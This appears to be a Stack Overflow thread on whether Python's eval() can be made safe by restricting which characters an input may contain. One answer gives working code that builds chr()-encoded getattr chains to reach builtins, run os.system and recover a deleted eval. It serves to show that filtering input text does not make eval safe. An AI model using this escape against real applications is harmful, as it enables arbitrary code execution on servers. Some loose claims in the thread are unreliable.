There are many questions on SO about using Python's eval on insecure strings (eg.: Security of Python's eval() on untrusted strings?, Python: make eval safe). The unanimous answer is that this is a bad idea.
However, I found little information on which strings can be considered safe (if any). Now I'm wondering if there is a definition of "safe strings" available (eg.: a string that only contains lower case ascii chars or any of the signs +-*/()). The exploits I found generally relied on either of _.,:[]'" or the like. Can such an approach be secure (for use in a graph painting web application)?
Otherwise, I guess using a parsing package as Alex Martelli suggested is the only way.
EDIT: Unfortunately, there are neither answers that give a compelling explanation for why/ how the above strings are to be considered insecure (a tiny working exploit) nor explanations for the contrary. I am aware that using eval should be avoided, but that's not the question. Hence, I'll award a bounty to the first who comes up with either a working exploit or a really good explanation why a string mangled as described above is to be considered (in)secure.
If you're satisfied with plain expressions using elementary-type literals only, use ast. literal_eval -- that's what it's for! For anything fancier, I recommend a parsing package, such as ply if you're familiar and comfortable with the classic lexx/yacc approach, or pyparsing for a possibly more Pythonic approach.
eval() is considered insecure because it allows you (or your users) to dynamically execute arbitrary Python code. This is considered bad programming practice because the code that you're reading (or writing) is not the code that you'll execute.
literal_eval may be a safer alternative. literal_eval() would only evaluate literals, not algebraic expressions.
The eval() function evaluates JavaScript code represented as a string and returns its completion value. The source is parsed as a script.
An exploit similar to goncalopp's but that also satisfy the restriction that the string 'eval'
is not a substring of the exploit:
def to_chrs(text):
return '+'.join('chr(%d)' % ord(c) for c in text)
def _make_getattr_call(obj, attr):
return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)
def make_exploit(code):
get = to_chrs('get')
builtins = to_chrs('__builtins__')
eval = to_chrs('eval')
code = to_chrs(code)
return (_make_getattr_call(
_make_getattr_call('globals()', '{get}') + '({builtins})',
'{eval}') + '({code})').format(**locals())
It uses a combination of genexp and tuple unpacking to call getattr
with two arguments without using the comma.
An example usage:
>>> exploit = make_exploit('__import__("os").system("echo $PWD")')
>>> print exploit
getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
>>> eval(exploit)
/home/giacomo
0
This proves that to define restrictions only on the text that make the code safe is really hard. Even things like 'eval' in code
are not safe. Either you must remove the possibility of executing a function call at all, or you must remove all dangerous built-ins from eval
's environment. My exploit also shows that getattr
is as bad as eval
even when you can not use the comma, since it allows you to walk arbitrary into the object hierarchy. For example you can obtain the real eval
function even if the environment does not provide it:
def real_eval():
get_subclasses = _make_getattr_call(
_make_getattr_call(
_make_getattr_call('()',
to_chrs('__class__')),
to_chrs('__base__')),
to_chrs('__subclasses__')) + '()'
catch_warnings = 'next(c for c in %s if %s == %s)()' % (get_subclasses,
_make_getattr_call('c',
to_chrs('__name__')),
to_chrs('catch_warnings'))
return _make_getattr_call(
_make_getattr_call(
_make_getattr_call(catch_warnings, to_chrs('_module')),
to_chrs('__builtins__')),
to_chrs('get')) + '(%s)' % to_chrs('eval')
>>> no_eval = __builtins__.__dict__.copy()
>>> del no_eval['eval']
>>> eval(real_eval(), {'__builtins__': no_eval})
<built-in function eval>
Even though if you remove all the built-ins, then the code becomes safe:
>>> eval(real_eval(), {'__builtins__': None})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name 'getattr' is not defined
Note that setting '__builtins__'
to None
removes also chr
, list
, tuple
etc.
The combo of your character restrinctions and '__builtins__'
to None
is completely safe, because the user has no way to access anything. He can't use the .
, the brackets []
or any built-in function or type.
Even though I must say in this way what you can evaluate is pretty limited. You can't do much more than do operations on numbers.
Probably it's enough to remove eval
, getattr
, and chr
from the built-ins to make the code safe, at least I can't think of a way to write an exploit that does not use one of them.
A "parsing" approach is probably safer and gives more flexibility. For example this recipe is pretty good and is also easily customizable to add more restrictions.
Assuming the named functions exist and are safe:
if re.match("^(?:safe|soft|cotton|ball|[()])+$", code): eval(code)
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With